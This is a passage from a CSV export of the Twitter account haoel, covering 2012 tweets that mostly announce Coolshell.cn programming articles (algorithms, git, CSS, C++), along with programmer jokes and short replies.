16:13:27+00:00,0,1,1,,今天酷壳的备案信息不知道为什么被删除了，所以导致机房不解析了，我又要重新备案了，这是我从08年来第N次又要为coolshell.cn提交我的个人信息了。现在我用朋友网站的nginx反向代理workaround暂时顶着。,,https://twitter.com/haoel/status/246642829223399424\n5215,246405749687869440,2012-09-14 00:31:23+00:00,5,3,0,,酷壳 Coolshell.cn - 对九个超级程序员的采访: 原文：《Q&amp;A With Nine Great Programmers》时间有限，我只能粗译，难免错误。 这篇访谈源自… http://t.co/mKqugVXy,\"[TextLink(text='goo.gl/fb/mTRNi', url='http://goo.gl/fb/mTRNi', tcourl='http://t.co/mKqugVXy', indices=(96, 116))]\",https://twitter.com/haoel/status/246405749687869440\n5216,245168805263855616,2012-09-10 14:36:12+00:00,0,0,0,,@Jasey_Wang 谢谢。就是以后不要叫我皓叔了，耗子就行了。,,https://twitter.com/haoel/status/245168805263855616\n5217,245162816204578816,2012-09-10 14:12:24+00:00,0,0,2,,@Jasey_Wang 谢谢，还是没有讲好，再给一个小时，我会讲得更好。哎，选了个太大的话题。,,https://twitter.com/haoel/status/245162816204578816\n5218,243884405632946176,2012-09-07 01:32:28+00:00,9,3,0,,酷壳 Coolshell.cn - 无锁队列的实现: 关于无锁队列的实现，网上有很多文章，虽然本文可能和那些文章有所重复，但是我还是想以我自己的方式把这些文章中的重要的知识点串起来和大家… http://t.co/XJ9HtAST,\"[TextLink(text='goo.gl/fb/ad6Js', url='http://goo.gl/fb/ad6Js', tcourl='http://t.co/XJ9HtAST', indices=(95, 115))]\",https://twitter.com/haoel/status/243884405632946176\n5219,242415176459100161,2012-09-03 00:14:16+00:00,9,1,1,,酷壳 Coolshell.cn - “单元测试要做多细？”: 这篇文章主要来源是StackOverflow上的一个回答——“How deep are your unit tests… http://t.co/JAZo0CHu,\"[TextLink(text='goo.gl/fb/O5P91', url='http://goo.gl/fb/O5P91', tcourl='http://t.co/JAZo0CHu', indices=(92, 112))]\",https://twitter.com/haoel/status/242415176459100161\n5220,240831695220264960,2012-08-29 15:22:05+00:00,9,75,1,,用Google被重置的只是链接，用Baidu被重置的却是你的大脑。,,https://twitter.com/haoel/status/240831695220264960\n5221,239984766269677568,2012-08-27 07:16:41+00:00,1,1,0,,酷壳 Coolshell.cn - 一次Ajax查错的经历: 先说故事，再说想法吧。 我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div… http://t.co/ewrg2e97,\"[TextLink(text='goo.gl/fb/wKNtt', url='http://goo.gl/fb/wKNtt', tcourl='http://t.co/ewrg2e97', indices=(94, 114))]\",https://twitter.com/haoel/status/239984766269677568\n5222,238071624534986752,2012-08-22 00:34:33+00:00,5,6,2,,酷壳 Coolshell.cn - 为什么我反对纯算法面试题: 算法面试可能是微软搞出来的面试方法，现在很多公司都在效仿，而且我们的程序员也乐于解算法题，我个人以为，这是应试教育的毒瘤… http://t.co/KHEcOLKr,\"[TextLink(text='goo.gl/fb/xVwVN', url='http://goo.gl/fb/xVwVN', tcourl='http://t.co/KHEcOLKr', indices=(94, 114))]\",https://twitter.com/haoel/status/238071624534986752\n5223,237372009338769408,2012-08-20 02:14:31+00:00,1,0,0,,酷壳 Coolshell.cn - GCC 用 C++ 来编译: GCC在2012年8月15日的时候，merge了一个patch - Merge from cxx-conversion… http://t.co/DlBNXY2a,\"[TextLink(text='goo.gl/fb/pK7e8', url='http://goo.gl/fb/pK7e8', tcourl='http://t.co/DlBNXY2a', indices=(94, 114))]\",https://twitter.com/haoel/status/237372009338769408\n5224,236264583734648832,2012-08-17 00:54:01+00:00,8,2,0,,酷壳 Coolshell.cn - K Nearest Neighbor 算法: K Nearest Neighbor算法又叫KNN算法，这个算法是机器学习里面一个比较经典的算法， 总体… http://t.co/bT6eFejJ,\"[TextLink(text='goo.gl/fb/ognqR', url='http://goo.gl/fb/ognqR', tcourl='http://t.co/bT6eFejJ', indices=(95, 115))]\",https://twitter.com/haoel/status/236264583734648832\n5225,236131500385521665,2012-08-16 16:05:11+00:00,3,2,0,,酷壳 Coolshell.cn - 对技术的态度: 最近人品爆发，图灵社区，InfoQ，51CTO相继对我做了采访，前两天我把InfoQ对我的采访张贴了出来，今天，图灵社区和51CTO对… http://t.co/xZFI2f0J,\"[TextLink(text='goo.gl/fb/K17jR', url='http://goo.gl/fb/K17jR', tcourl='http://t.co/xZFI2f0J', indices=(95, 115))]\",https://twitter.com/haoel/status/236131500385521665\n5226,234565961250922497,2012-08-12 08:24:17+00:00,2,3,0,,酷壳 Coolshell.cn - InfoQ的ArchSummit大会对我的采访: 偷个懒，做个更新，今天下午InfoQ的ArchSummit现在对我的一些采访。我整理了一下，算做是我… http://t.co/VqhAfa8W,\"[TextLink(text='goo.gl/fb/ts0AF', url='http://goo.gl/fb/ts0AF', tcourl='http://t.co/VqhAfa8W', indices=(95, 115))]\",https://twitter.com/haoel/status/234565961250922497\n5227,234480322757156866,2012-08-12 02:44:00+00:00,0,0,0,,@arthur369 不好意思错过了。等下次再见吧。我就打扰你和 @virushuo 的二人世界了。呵呵。,,https://twitter.com/haoel/status/234480322757156866\n5228,232275981803606016,2012-08-06 00:44:44+00:00,7,6,0,,酷壳 Coolshell.cn - C++的坑真的多吗？: 先说明一下，我不希望本文变成语言争论贴。希望下面的文章能让我们客观理性地了解C++这个语言。（另，我觉得技术争论不要停留在非黑… http://t.co/UeJEwID6,\"[TextLink(text='goo.gl/fb/mpydV', url='http://goo.gl/fb/mpydV', tcourl='http://t.co/UeJEwID6', indices=(95, 115))]\",https://twitter.com/haoel/status/232275981803606016\n5229,230474372547244032,2012-08-01 01:25:47+00:00,1,3,0,,酷壳 Coolshell.cn - 一个fork的面试题: 前两天有人问了个关于Unix的fork()系统调用的面试题，这个题正好是我大约十年前找工作时某公司问我的一个题，我觉得比较有趣… http://t.co/LibEbDTL,\"[TextLink(text='goo.gl/fb/EHYMw', url='http://goo.gl/fb/EHYMw', tcourl='http://t.co/LibEbDTL', indices=(95, 115))]\",https://twitter.com/haoel/status/230474372547244032\n5230,225753124189642752,2012-07-19 00:45:13+00:00,2,4,0,,酷壳 Coolshell.cn - 各式各样的验证码: 还记得以前那篇《超强验证码》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是… http://t.co/vr8Bnb30,\"[TextLink(text='goo.gl/fb/2ZKag', url='http://goo.gl/fb/2ZKag', tcourl='http://t.co/vr8Bnb30', indices=(95, 115))]\",https://twitter.com/haoel/status/225753124189642752\n5231,223638107323510784,2012-07-13 04:40:54+00:00,17,14,1,,深入理解GFW：内部结构 http://t.co/iXlsWsHk,\"[TextLink(text='gfwrev.blogspot.co.uk/2010/02/gfw.ht…', url='http://gfwrev.blogspot.co.uk/2010/02/gfw.html', tcourl='http://t.co/iXlsWsHk', indices=(13, 33))]\",https://twitter.com/haoel/status/223638107323510784\n5232,223572421200982017,2012-07-13 00:19:53+00:00,6,1,0,,酷壳 Coolshell.cn - 代码执行的效率: 在《性能调优攻略》里，我说过，要调优性需要找到程序中的Hotspot，也就是被调用最多的地方，这种地方，只要你能优化一点点，你的性能… http://t.co/sGtSDwLv,\"[TextLink(text='goo.gl/fb/uGLce', url='http://goo.gl/fb/uGLce', tcourl='http://t.co/sGtSDwLv', indices=(95, 115))]\",https://twitter.com/haoel/status/223572421200982017\n5233,223315461511716865,2012-07-12 07:18:49+00:00,2,10,0,,git很强大，分布式的代码版本管理，用法相当随意，可本地，可集中，可分层，可分布，一看就是专门为Linux这种N多分支N多公司的开源项目设计的版本管理，就是操作起来有点啰嗦。不过，设计的非常不错，什么叫elegant， git 就是 elegant 啊。,,https://twitter.com/haoel/status/223315461511716865\n5234,223311942637469697,2012-07-12 07:04:50+00:00,36,11,0,,\"git的几个学习资料。图解Git：http://t.co/AMPJ3rHd，\n交互式的学习：http://t.co/bHdW8DLo，\n最好的学习文档：http://t.co/kyG2I3Be。\",\"[TextLink(text='marklodato.github.com/visual-git-gui…', url='http://marklodato.github.com/visual-git-guide/index-zh-cn.html', tcourl='http://t.co/AMPJ3rHd', indices=(17, 37)), TextLink(text='try.github.com/levels/1/chall…', url='http://try.github.com/levels/1/challenges/1', tcourl='http://t.co/bHdW8DLo', indices=(46, 66)), TextLink(text='git-scm.com/book/zh', url='http://git-scm.com/book/zh', tcourl='http://t.co/kyG2I3Be', indices=(76, 96))]\",https://twitter.com/haoel/status/223311942637469697\n5235,222858342761111554,2012-07-11 01:02:24+00:00,17,4,0,,酷壳 Coolshell.cn - 28个Unix/Linux的命令行神器: 下面是Kristóf Kovács收集的28个Unix/Linux下的28个命令行下的工具（原文链接），有… http://t.co/5fhTEw8A,\"[TextLink(text='goo.gl/fb/tbgRD', url='http://goo.gl/fb/tbgRD', tcourl='http://t.co/5fhTEw8A', indices=(94, 114))]\",https://twitter.com/haoel/status/222858342761111554\n5236,221635309966856192,2012-07-07 16:02:30+00:00,0,0,1,,@OhCoder 我恨你啊。让昨晚玩到凌晨4点。,,https://twitter.com/haoel/status/221635309966856192\n5237,221281172850880513,2012-07-06 16:35:17+00:00,0,0,1,,@OhCoder 谢谢，已下载。,,https://twitter.com/haoel/status/221281172850880513\n5238,220835308617482243,2012-07-05 11:03:35+00:00,0,0,1,,@OhCoder 谢谢啊，多大啊？,,https://twitter.com/haoel/status/220835308617482243\n5239,220717392186187778,2012-07-05 03:15:01+00:00,1,7,2,,“她浑身轻飘飘地坐起来，在半昏迷状态中努力捕捉那丝开发心智的光芒，机械地敲着键盘……完全透支的李聪娜实在坚持不住了昏睡过去。她梦见自己在代码堆里挣扎着，寻找着，忽然，那丝亮光被她抓住了，编程的切入口一下子在脑海中清楚地显现了出来”  http://t.co/feGqcxtu,\"[TextLink(text='news.qq.com/a/20120705/000…', url='http://news.qq.com/a/20120705/000369.htm', tcourl='http://t.co/feGqcxtu', indices=(117, 137))]\",https://twitter.com/haoel/status/220717392186187778\n5240,220716920817713152,2012-07-05 03:13:09+00:00,0,0,0,,@Kuispe 是，仙剑一。,,https://twitter.com/haoel/status/220716920817713152\n5241,220714084390273024,2012-07-05 03:01:53+00:00,1,0,2,,昨晚怀旧装了个win95的VM，从网上下了TT和Pal。这些东西居然今天还能从网上找到。（别说我用盗版哦） http://t.co/qhsgfYEP,,https://twitter.com/haoel/status/220714084390273024\n5242,220701685453033473,2012-07-05 02:12:36+00:00,1,1,0,,酷壳 Coolshell.cn - 少即是极多: 【感谢网友 @innocentim (Twitter) 投稿】 这是一篇翻译练习。力图保留原意。若有不准确处，求速速指出。猛击此处（墙… http://t.co/7prnBAOn,\"[TextLink(text='goo.gl/fb/OGCdf', url='http://goo.gl/fb/OGCdf', tcourl='http://t.co/7prnBAOn', indices=(94, 114))]\",https://twitter.com/haoel/status/220701685453033473\n5243,220690363755667456,2012-07-05 01:27:37+00:00,6,4,0,,刚看到有朋友在分享伴他走过的那些国产软件，让我又想起来了那些曾伴我走过编程之路的软件 http://t.co/VmBuGjbv  给有十年以上编程经历的老码农怀怀旧吧。,\"[TextLink(text='coolshell.cn/articles/5576.…', url='http://coolshell.cn/articles/5576.html', tcourl='http://t.co/VmBuGjbv', indices=(43, 63))]\",https://twitter.com/haoel/status/220690363755667456\n5244,219999387097628674,2012-07-03 03:41:59+00:00,2,26,0,,《JQUERY 1.9 AND 2.0 — TL;DR EDITIO》 http://t.co/mjmIBPSE 官网的Blog对于最近jQuery声称不支持IE6/7/8的一些Q&amp;A。最后一个问答亮了。 http://t.co/8C27vVqf,\"[TextLink(text='blog.jquery.com/2012/07/01/jqu…', url='http://blog.jquery.com/2012/07/01/jquery-1-9-and-2-0-tldr-edition/', tcourl='http://t.co/mjmIBPSE', indices=(36, 56))]\",https://twitter.com/haoel/status/219999387097628674\n5245,219458545891020800,2012-07-01 15:52:49+00:00,0,0,1,,@catinred2 也许被打过补丁了。,,https://twitter.com/haoel/status/219458545891020800\n5246,219456469563740160,2012-07-01 15:44:34+00:00,0,0,1,,@catinred2 linode的订制版？,,https://twitter.com/haoel/status/219456469563740160\n5247,219084066388066305,2012-06-30 15:04:46+00:00,0,0,2,,@catinred2 记得要开启ntp哦。,,https://twitter.com/haoel/status/219084066388066305\n5248,218520192244908032,2012-06-29 01:44:08+00:00,4,1,0,,酷壳 Coolshell.cn - K-Means 算法: 最近在学习一些数据挖掘的算法，看到了这个算法，也许这个算法对你来说很简单，但对我来说，我是一个初学者，我在网上翻看了很多资料… http://t.co/gPuFriPq,\"[TextLink(text='goo.gl/fb/zi3e5', url='http://goo.gl/fb/zi3e5', tcourl='http://t.co/gPuFriPq', indices=(94, 114))]\",https://twitter.com/haoel/status/218520192244908032\n5249,217081157924294656,2012-06-25 02:25:55+00:00,3,1,0,,酷壳 Coolshell.cn - 持续部署，并不简单！: 【感谢 @常新居士 投递此文 】 这几年，持续集成随着敏捷在国内的推广而持续走热，与之相伴的持续部署也一直备受关注。自前两年… http://t.co/7Rj4Vcu8,\"[TextLink(text='goo.gl/fb/iT5Bb', url='http://goo.gl/fb/iT5Bb', tcourl='http://t.co/7Rj4Vcu8', indices=(94, 114))]\",https://twitter.com/haoel/status/217081157924294656\n5250,216933899148853249,2012-06-24 16:40:46+00:00,6,0,2,,酷壳 Coolshell.cn - Git显示漂亮日志的小技巧: 原文：http://t.co/XFkux27M… http://t.co/rhAmaqF9,\"[TextLink(text='garmoncheg.blogspot.com/2012/06/pretty…', url='http://garmoncheg.blogspot.com/2012/06/pretty-git-log', tcourl='http://t.co/XFkux27M', indices=(36, 56)), TextLink(text='goo.gl/fb/OnJFe', url='http://goo.gl/fb/OnJFe', tcourl='http://t.co/rhAmaqF9', indices=(58, 78))]\",https://twitter.com/haoel/status/216933899148853249\n5251,215637144121778178,2012-06-21 02:47:56+00:00,26,66,2,,（改进版）产品经理三宝：山寨，改版，再推倒。项目经理三宝：进度，流程，做报表。 团队经理三宝：团建，开会，评绩效。程序员三宝：闷骚，加班，修电脑。测试人员三宝：较真，温柔，撒撒娇。运营三宝：黄图，抽奖，软文稿。人事经理三宝：画饼，忽悠，挖墙脚。高层三宝：装逼，重组，唱高调。,,https://twitter.com/haoel/status/215637144121778178\n5252,215450012753207297,2012-06-20 14:24:20+00:00,0,1,1,,根据天朝目前的GFW- Based的网络架构，我觉得这个架构能向世界人民做出最大的贡献的是——可以有效缓解目前IPv4地址不够用的情况。因为，我国实际只需要Internet上的一个公网IP地址就可以了。,,https://twitter.com/haoel/status/215450012753207297\n5253,215449799892275200,2012-06-20 14:23:29+00:00,12,11,0,,&gt;项目经理有三宝：进度，流程，做报表。 &gt;团队经理有三宝：团建，开会，评绩效。&gt;程序员有三宝：闷骚，加班，修电脑。&gt;测试人员有三宝：较真，温柔，撒撒娇。&gt;敏捷教练有三宝：看板，迭代，狂布道。&gt;SQA有三宝：质疑，挑刺，写报告。&gt;高层老总有三宝：交际，重组，唱高调 …………,,https://twitter.com/haoel/status/215449799892275200\n5254,215278320156278784,2012-06-20 03:02:05+00:00,3,2,0,,酷壳 Coolshell.cn - 性能调优攻略: 关于性能优化这是一个比较大的话题，在《由12306.cn谈谈网站性能技术》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点… http://t.co/LH3ZZIUL,\"[TextLink(text='goo.gl/fb/Rrk13', url='http://goo.gl/fb/Rrk13', tcourl='http://t.co/LH3ZZIUL', indices=(93, 113))]\",https://twitter.com/haoel/status/215278320156278784\n5255,212739939568320513,2012-06-13 02:55:28+00:00,4,3,0,,酷壳 Coolshell.cn - 抄袭，腾讯 和 产品: 很早就想写这篇文章了，只是想法比较零碎，所以一直没有成文，这两天觉得思考得比较成熟了一些，所以把我的这些想法整理下来，欢迎大家… http://t.co/9hLWPRby,\"[TextLink(text='goo.gl/fb/5jIrq', url='http://goo.gl/fb/5jIrq', tcourl='http://t.co/9hLWPRby', indices=(95, 115))]\",https://twitter.com/haoel/status/212739939568320513\n5256,209449218895650816,2012-06-04 00:59:19+00:00,5,3,0,,酷壳 Coolshell.cn - Lisp的永恒之道: Lisp之魅 长久以来，Lisp一直被许多人视为史上最非凡的编程语言。它不仅在50多年前诞生的时候带来了诸多革命性的创新并极大地… http://t.co/qev8VY63,\"[TextLink(text='goo.gl/fb/vv86X', url='http://goo.gl/fb/vv86X', tcourl='http://t.co/qev8VY63', indices=(95, 115))]\",https://twitter.com/haoel/status/209449218895650816\n5257,205557367767703552,2012-05-24 07:14:30+00:00,0,0,0,,酷壳 Coolshell.cn - Javascript 中的 var: MelonCard发布了一篇文章——”how one missing var ruined our launch… http://t.co/rPyaAR3W,\"[TextLink(text='goo.gl/fb/180Nr', url='http://goo.gl/fb/180Nr', tcourl='http://t.co/rPyaAR3W', indices=(95, 115))]\",https://twitter.com/haoel/status/205557367767703552\n5258,205459445763940352,2012-05-24 00:45:23+00:00,0,0,0,,@URMyDad  不应该吧。,,https://twitter.com/haoel/status/205459445763940352\n5259,204815141978644480,2012-05-22 06:05:09+00:00,3,3,1,,酷壳 Coolshell.cn - Huffman 编码压缩算法: 前两天发布那个rsync算法后，想看看数据压缩的算法，知道一个经典的压缩算法Huffman算法。你应该听说过… http://t.co/aM8xC3b6,\"[TextLink(text='goo.gl/fb/rBKu7', url='http://goo.gl/fb/rBKu7', tcourl='http://t.co/aM8xC3b6', indices=(90, 110))]\",https://twitter.com/haoel/status/204815141978644480\n5260,203694776573378560,2012-05-19 03:53:13+00:00,2,1,0,,\"酷壳 Coolshell.cn - 扎克伯格的一封信：关于Facebook IPO: MENLO PARK, CA (The Borowitz Report) – 在Fackbook… http://t.co/3cQdnOIh\",\"[TextLink(text='goo.gl/fb/eKgkf', url='http://goo.gl/fb/eKgkf', tcourl='http://t.co/3cQdnOIh', indices=(93, 113))]\",https://twitter.com/haoel/status/203694776573378560\n5261,202941866075897857,2012-05-17 02:01:26+00:00,0,0,1,,@multiple1902 太牛了！这都看到了。其实，我是故意的，放一些小错误在文章中，是为了应对那些抄袭者。嘿嘿……,,https://twitter.com/haoel/status/202941866075897857\n5262,202924085968257026,2012-05-17 00:50:46+00:00,9,6,0,,酷壳 Coolshell.cn - rsync 的核心算法: rsync是unix/linux下同步文件的一个高效算法，它能同步更新两处计算机的文件与目录，并适当利用查找文件中的不同块以… http://t.co/K4AoYVpu,\"[TextLink(text='goo.gl/fb/5HZiQ', url='http://goo.gl/fb/5HZiQ', tcourl='http://t.co/K4AoYVpu', indices=(95, 115))]\",https://twitter.com/haoel/status/202924085968257026\n5263,202201037682114562,2012-05-15 00:57:38+00:00,5,4,0,,酷壳 Coolshell.cn - NoSQL 数据建模技术: 全文译自墙外文章“NoSQL Data Modeling Techniques”，译得不好，还请见谅。这篇文章看完之后，你… http://t.co/zoTiFbdo,\"[TextLink(text='goo.gl/fb/Zo5Ec', url='http://goo.gl/fb/Zo5Ec', tcourl='http://t.co/zoTiFbdo', indices=(95, 115))]\",https://twitter.com/haoel/status/202201037682114562\n5264,201662111447912448,2012-05-13 13:16:08+00:00,0,0,1,,@xyz98 呵呵，同一件事的不同理解和不同表述而已，我就不和你在文字上切磋了，有空谈谈技术。,,https://twitter.com/haoel/status/201662111447912448\n5265,201648301056073728,2012-05-13 12:21:16+00:00,0,0,1,,@xyz98 你和我说的是一样的。KISS就是内聚，我文中最后的三条，先是KISS，然后才是解耦，最后才是拼装。抽象其实是解耦的某种方法，解耦是“道”，抽象是“术”，并非只有抽象才能解耦。,,https://twitter.com/haoel/status/201648301056073728\n5266,201312415248433152,2012-05-12 14:06:34+00:00,5,4,1,,酷壳 Coolshell.cn - 用Unix的设计思想来应对多变的需求: 之前，@风枫峰 在“这是谁的错？”中说过开发团队对需求来者不拒，而@weidagang 也在“需求变更和IoC… http://t.co/KOJMhJ6w,\"[TextLink(text='goo.gl/fb/HTasl', url='http://goo.gl/fb/HTasl', tcourl='http://t.co/KOJMhJ6w', indices=(95, 115))]\",https://twitter.com/haoel/status/201312415248433152\n5267,200461033389830145,2012-05-10 05:43:29+00:00,0,0,1,,\"@gaff thanks, but i don't have much influence onFacebook, Twitter and Google+. and I feel the klout might be copied to China someday.\",,https://twitter.com/haoel/status/200461033389830145\n5268,200457078962274304,2012-05-10 05:27:46+00:00,0,0,1,,@gaff is that something like message hub?,,https://twitter.com/haoel/status/200457078962274304\n5269,197871156034940928,2012-05-03 02:12:14+00:00,0,0,1,,@yurii_yu 我早就已经disable那个插件，现在还这样吗？,,https://twitter.com/haoel/status/197871156034940928\n5270,196958372334010370,2012-04-30 13:45:09+00:00,0,0,1,,@yurii_yu 你需要注意一下你网络里的代理服务器，如果你不知道这个事，那么你要小心你的网络是否被人监控了。,,https://twitter.com/haoel/status/196958372334010370\n5271,196267006771736577,2012-04-28 15:57:55+00:00,1,1,1,,@janlay @yurii_yu 没有被黑。是这样的，很早前装了个叫Let's kill IE6插件——前端js检查，弹提示框，这两天觉得应直接禁，所以换了个Stop IE6的插件——后端检查，估计某些网络上代理用IE6的User-Agent，于是出了问题，我已换回去了。,,https://twitter.com/haoel/status/196267006771736577\n5272,195755726336045056,2012-04-27 06:06:16+00:00,4,20,0,,很喜欢今天新浪微博看到的一问话，“以前学英语是为了了解世界，现在学英语是为了了解中国。” http://t.co/vJGLpkyy 同样，以前翻墙是为了了解世界，现在翻墙是为了了解中国。,\"[TextLink(text='weibo.com/1227316034/ygv…', url='http://weibo.com/1227316034/ygvrC2daf', tcourl='http://t.co/vJGLpkyy', indices=(45, 65))]\",https://twitter.com/haoel/status/195755726336045056\n5273,195670449219313665,2012-04-27 00:27:25+00:00,6,3,0,,酷壳 Coolshell.cn - 做个环保主义的程序员: 十多年前刚走入社会工作的时候，那时的中国软件开发根本没有什么版本管理，也没有什么编程规范，软件开发相比起今天来说非常地混乱，那… http://t.co/kjTCvF3m,\"[TextLink(text='goo.gl/fb/xgl4M', url='http://goo.gl/fb/xgl4M', tcourl='http://t.co/kjTCvF3m', indices=(95, 115))]\",https://twitter.com/haoel/status/195670449219313665\n5274,195314736345264128,2012-04-26 00:53:56+00:00,3,3,0,,酷壳 Coolshell.cn - 游戏：VIM大冒险: 不知道大家是否还记得“Vim简明攻略”呢？你是不是对Vim的那一大堆热键很头痛呢？现在好好，下面这个游戏是一个使用VIM热键玩的… http://t.co/phhx0kOT,\"[TextLink(text='goo.gl/fb/fGzTP', url='http://goo.gl/fb/fGzTP', tcourl='http://t.co/phhx0kOT', indices=(95, 115))]\",https://twitter.com/haoel/status/195314736345264128\n5275,193131076003184640,2012-04-20 00:16:51+00:00,0,3,2,,程序员说＂操＂一般会说成＂C＂，后面跟贴的程序员会把＂操+1＂说或＂C++＂，说＂C#＂的意思是＂操，横坚都二＂。,,https://twitter.com/haoel/status/193131076003184640\n5276,192906200839495684,2012-04-19 09:23:16+00:00,6,43,0,,刚才和同事聊天得一段子。某程序员自我介绍：“我是程序员”，客户说，“程先生，你好”，程序员说：“别客气，叫我序员”。架构师自我介绍到：“我是架构师”，客户说，“贾先生，您好”，架构师说：“别客气，叫我狗屎”。,,https://twitter.com/haoel/status/192906200839495684\n5277,192798780725268480,2012-04-19 02:16:26+00:00,2,4,0,,酷壳 Coolshell.cn - 这到底是谁之错？: 【感谢 @风枫峰 投递本文】 故事一： 背景介绍：RT是一个外包公司，ZWZX是项目承接公司，YD是甲方。 RT公司每天下班的时候… http://t.co/AkLtTqJ9,\"[TextLink(text='goo.gl/fb/nZkv1', url='http://goo.gl/fb/nZkv1', tcourl='http://t.co/AkLtTqJ9', indices=(95, 115))]\",https://twitter.com/haoel/status/192798780725268480\n5278,192408050433409024,2012-04-18 00:23:48+00:00,0,0,0,,@manjoin 编没有问题，编个不会被问漏的借口嘛。,,https://twitter.com/haoel/status/192408050433409024\n5279,192072365600018433,2012-04-17 02:09:55+00:00,2,3,1,,酷壳 Coolshell.cn - 挑战无处不在: 面试过一些应聘者，当我问到为什么换工作的时候，他们都会告诉我，现在的工作没有挑战，无聊，所以想换一个有挑战的工作。我总是为有这样的认识… http://t.co/bHUjwwLZ,\"[TextLink(text='goo.gl/fb/T6SS5', url='http://goo.gl/fb/T6SS5', tcourl='http://t.co/bHUjwwLZ', indices=(95, 115))]\",https://twitter.com/haoel/status/192072365600018433\n5280,190638923649789952,2012-04-13 03:13:56+00:00,0,1,0,,看到了韩寒的新博文，想到了08年写的一篇文章，分享给大家。http://t.co/cQY8TM9F http://t.co/OMh5YpX2,\"[TextLink(text='imgur.com/GY27h', url='http://imgur.com/GY27h', tcourl='http://t.co/cQY8TM9F', indices=(29, 49))]\",https://twitter.com/haoel/status/190638923649789952\n5281,189883109800546304,2012-04-11 01:10:35+00:00,2,5,1,,酷壳 Coolshell.cn - 我们需要专职的QA吗？: 这个文章必然是有争议的，我在我的微博上讨论过很多次了，每次都是很有争议的。有不同的观点，有争论总是一件好事，这样可以引发大家… http://t.co/R8LUGNiq,\"[TextLink(text='goo.gl/fb/yItWh', url='http://goo.gl/fb/yItWh', tcourl='http://t.co/R8LUGNiq', indices=(95, 115))]\",https://twitter.com/haoel/status/189883109800546304\n5282,189149520041480192,2012-04-09 00:35:34+00:00,0,2,1,,酷壳 Coolshell.cn - 谈谈数据安全和云存储: 前些天，创新工场李开复同学在2012博鳌亚洲论坛表示： “你们有多少人丢过手机？大概有15%。你们有多少人数据放在微软掉过的… http://t.co/RdrLEZZN,\"[TextLink(text='goo.gl/fb/kJ670', url='http://goo.gl/fb/kJ670', tcourl='http://t.co/RdrLEZZN', indices=(94, 114))]\",https://twitter.com/haoel/status/189149520041480192\n5283,186358482063212544,2012-04-01 07:44:59+00:00,0,5,2,,我要是 @TwoCold ，我就不断地写东西，而且要故意留下一些漏洞，可疑之处，这样就可以让那些分析党的生命全部葬送在分析文章之中。,,https://twitter.com/haoel/status/186358482063212544\n5284,184459303304957953,2012-03-27 01:58:19+00:00,1,11,2,,昨晚老婆想搜一个电视剧出品公司的电话，怎么也搜不到，于是求助我，我一看，居然用百度，关键词是『代号蓝色行动 出品 公司 电话』，翻了n页都没找到，于是，我用Google一搜，搜索结果的第一个就是了。老婆说：＂操！不是说百度更懂中文吗?＂是的，百度懂中文，但不懂搜索。,,https://twitter.com/haoel/status/184459303304957953\n5285,184371517239459840,2012-03-26 20:09:29+00:00,2,1,0,,酷壳 Coolshell.cn - 需求变化与IoC: 【感谢 Todd投递本文 – 微博帐号：@weidagang 】 需求又变了，怎么办？ 先上一个轻松的段子： 程序员XX遭遇车祸成… http://t.co/FrbkcwN8,\"[TextLink(text='goo.gl/fb/Zq0jj', url='http://goo.gl/fb/Zq0jj', tcourl='http://t.co/FrbkcwN8', indices=(95, 115))]\",https://twitter.com/haoel/status/184371517239459840\n5286,183926564533190657,2012-03-25 14:41:24+00:00,2,1,0,,酷壳 Coolshell.cn - 神奇的CSS形状: 【感谢 Neo 投递本文 – 微博帐号：@_锟_ 】 在StackOverflow上有这么一个问题，有位同学在http://css… http://t.co/CktLPZGr,\"[TextLink(text='goo.gl/fb/FHYPN', url='http://goo.gl/fb/FHYPN', tcourl='http://t.co/CktLPZGr', indices=(95, 115))]\",https://twitter.com/haoel/status/183926564533190657\n5287,182411552773767169,2012-03-21 10:21:17+00:00,3,8,0,,关于中国式的创新，请欣赏国产007里的对白——“表面上看这是一个手机，其实，它是一个刮胡刀；表面上看这是一只鞋，其实，它是一个电吹风；表面上看这是一个电吹风，其它，它还是一个刮胡刀，……你知道的，干我们这一行，形象很重要……”,,https://twitter.com/haoel/status/182411552773767169\n5288,181811831311052800,2012-03-19 18:38:13+00:00,7,1,0,,酷壳 Coolshell.cn - CSS 布局:40个教程、技巧、例子和最佳实践: 【感谢 Neo 投递本文 – 微博帐号：_锟_ 】 前言： 布局是WEB开发一个重要的课题，进入… http://t.co/ofgnM7dk,\"[TextLink(text='goo.gl/fb/vu3UO', url='http://goo.gl/fb/vu3UO', tcourl='http://t.co/ofgnM7dk', indices=(93, 113))]\",https://twitter.com/haoel/status/181811831311052800\n5289,179585707461976066,2012-03-13 15:12:23+00:00,3,1,0,,酷壳 Coolshell.cn - 多版本并发控制(MVCC)在分布式系统中的应用: 【感谢 Todd投递本文 – 微博帐号：weidagang 】 问题 最近项目中遇到了一个分布式系统… http://t.co/iDpt3H0P,\"[TextLink(text='goo.gl/fb/pz52p', url='http://goo.gl/fb/pz52p', tcourl='http://t.co/iDpt3H0P', indices=(95, 115))]\",https://twitter.com/haoel/status/179585707461976066\n5290,178047426446360577,2012-03-09 09:19:49+00:00,0,1,2,,@haoel TDD - Test Driven Development - “他爹的” 开发，TMD - Team Meeting Development - “他妈的”开发。现在征集TNND开发！,,https://twitter.com/haoel/status/178047426446360577\n5291,177946271561170944,2012-03-09 02:37:51+00:00,4,44,1,,以前亲眼见过某公司的某个项目组，天天开会讨论需求和设计，开了一年的会，还没讨论清楚倒底是用文件系统还是数据库来保存数据。这种软件开发模式叫 Team Meeting Development，简称 “TMD 软件开发”。,,https://twitter.com/haoel/status/177946271561170944\n5292,177943952224288768,2012-03-09 02:28:38+00:00,8,4,1,,酷壳 Coolshell.cn - Bret Victor – Inventing on Principle: Bret Victor（简历） – 苹果公司的UI交互设计师（大神级的人… http://t.co/PLFIkHXQ,\"[TextLink(text='goo.gl/fb/md1Cs', url='http://goo.gl/fb/md1Cs', tcourl='http://t.co/PLFIkHXQ', indices=(94, 114))]\",https://twitter.com/haoel/status/177943952224288768\n5293,177478885343105025,2012-03-07 19:40:38+00:00,6,1,0,,酷壳 Coolshell.cn - 理解Javascript的闭包: 【感谢 Neo 投递本文 – 微博帐号：_锟_ 】 前言：还是一篇入门文章。Javascript中有几个非常重要的… http://t.co/NC39vmuY,\"[TextLink(text='goo.gl/fb/96gcn', url='http://goo.gl/fb/96gcn', tcourl='http://t.co/NC39vmuY', indices=(94, 